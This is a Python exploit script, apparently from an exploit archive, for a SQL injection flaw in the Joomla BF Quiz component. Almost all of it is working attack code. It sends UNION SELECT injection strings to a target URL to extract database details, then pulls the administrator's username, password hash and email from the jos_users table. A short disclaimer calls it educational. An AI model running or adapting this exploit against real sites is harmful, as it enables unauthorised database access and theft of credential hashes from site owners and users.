Joomla! Component BF Quiz 1.0 – SQL Injection (2)
#!/usr/bin/python # Joomla Component BF Quiz SQL Injection Exploit # by Valentin Hoebel (valentin@xenuser.org) # Version 1.0 (29th May 2010) # ASCII FOR BREAKFAST # About the vulnerability: # ---------------------------------------------------------------------------- # Read more here: # http://xenuser.org/documents/security/joomla_com_bfquiz_sqli.txt # About the exploit: # ---------------------------------------------------------------------------- # Tries to give you the admin password hash! # Usage example: # python joomla_com_bfquiz_sploit.py - u "http://target/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=34" # This tool war written for educational purposes only. I am not responsible for any damage # you might cause using this tool. Know and respect your local laws! # Only use this tool on websites you are allowed to test :) # Greetz && THX # ---------------------------------------------------------------------------------- # Greetz: cr4wl3r and /JosS # Greetz && THX to: inj3ct0r, Exploit DB team, hack0wn and packetstormsecurity.org # Power to the cows! import sys, re, urllib, urllib2, string from urllib2 import Request, urlopen, URLError, HTTPError # Prints usage def print_usage(): print "" print "" print "________________________________________________" print "Joomla Component BF Quiz SQL Injection Exploit" print "by Valentin Hoebel (valentin@xenuser.org)" print "" print " (__) " print " (oo) Version 1.0 (29th May 2010) " print " /-------\/ " print " / | || " print " * ||----|| " print " ~~ ~~ Power to teh cows!" print "________________________________________________" print "" print "Exploits the SQL injection vulnerability I" print "discovered within the Joomla component BF Quiz." print "" print "Usage example:" print "python joomla_com_bfquiz_sploit.py - u \"http://target/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=34\"" print "" print "Options:" print " -u <URL> (start the exploit)" print " --help (displays this text)" print "" print "Features:" print " - Check if provided URL is reachable" print " - Display current database, MySQL user and the MySQL version" print " - Display the password hash of the Joomla administrator" print "" print "" return #Prints banner def print_banner(): print "" print "" print "________________________________________________" print "Joomla Component BF Quiz SQL Injection Exploit" print "by Valentin Hoebel (valentin@xenuser.org)" print "" print " (__) " print " (oo) Version 1.0 (29th May 2010) " print " /-------\/ " print " / | || " print " * ||----|| " print " ~~ ~~ Power to teh cows!" print "________________________________________________" return # Testing if URL is reachable, with error handling def test_url(): print "[.] Checking if connection can be established..." try: response = urllib2.urlopen(provided_url) except HTTPError, e: print "[!] The connection could not be established." print "[!] Error code: ", e.code print "[!]Exiting now!" print "" sys.exit(1) except URLError, e: print "[!] The connection could not be established." print "[!] Reason: ", e.reason print "[!] Exiting now!" print "" sys.exit(1) else: valid_target = 1 print "[.] Connected to target! URL seems to be valid." return def exploit_url(): # Define injection string for reading out basic information information_injection_string = "+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321),11,12,13,14,concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321),79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321),97,98,99,100--" admin_pass_hash_injection_string = "+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321),11,12,13,14,concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321),79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321),97,98,99,100+from+jos_users+LIMIT+0,1--" # Craft the URLs which are about to be exploited exploit_url_information = provided_url+information_injection_string exploit_url_admin_pass_hash = provided_url+admin_pass_hash_injection_string # Read out some interesting stuff print "[.] Reading out some interesting information..." response = urllib2.urlopen(exploit_url_information) html = response.read() # Now extract the interesting information get_secret_data = string.find(html, "P0w3r t0 t3h c0ws!") # If the target is not vulnerable exit if get_secret_data == -1: print "[!] Exploitation failed. Maybe the target isn't vulnerable?" print "[!] Hint: The exploit doesn't work on every target by default." print "[!] If you have knowledge about MySQL injection simply have a look at the source code and change the injection strings." print "[!] For me it worked on 3/10 targets by default." print "[!] Exiting now!" print "" sys.exit(1) get_secret_data += 18 new_html4= html[get_secret_data :] new_get_secret_data4 = string.find(new_html4, "P0w3r t0 t3h c0ws!") new_html_5 = new_html4[:new_get_secret_data4] # Data was received, now format and display it formatted_output = str.split(new_html_5, ";") print "[+] MySQL Database User: ", formatted_output[1:2] print "[+] MySQL Database: ", formatted_output[2:3] print "[+] MySQL Version: ", formatted_output[3:4] # Now let's get the admin password hash! print "[.] Getting the admin password hash..." response = urllib2.urlopen(exploit_url_admin_pass_hash) html = response.read() get_secret_data = string.find(html, "P0w3r t0 t3h c0ws!") get_secret_data += 18 new_html = html[get_secret_data :] new_get_secret_data = string.find(new_html, "P0w3r t0 t3h c0ws!") new_html_2 = new_html[:new_get_secret_data] # Data was received, now format and display it formatted_output = str.split(new_html_2, ";") print "[+] ID: ", formatted_output[1:2] print "[+] Name: ", formatted_output[2:3] print "[+] Username: ", formatted_output[3:4] print "[+] Password Hash: ", formatted_output[4:5] print "[+] E-Mail Address: ", formatted_output[5:6] print "[+] User status: ", formatted_output[6:7] print "[.] That's it! Bye!" print "" sys.exit(1) return # Checking if argument was provided if len(sys.argv) <=1: print_usage() sys.exit(1) for arg in sys.argv: # Checking if help was called if arg == "--help": print_usage() sys.exit(1) # Checking if URL was provided, if yes -> go! if arg == "-u": provided_url = sys.argv[2] print_banner() # At first we test if we can actually reach the provided URL test_url() # Now start the main exploit function exploit_url() ### EOF ### |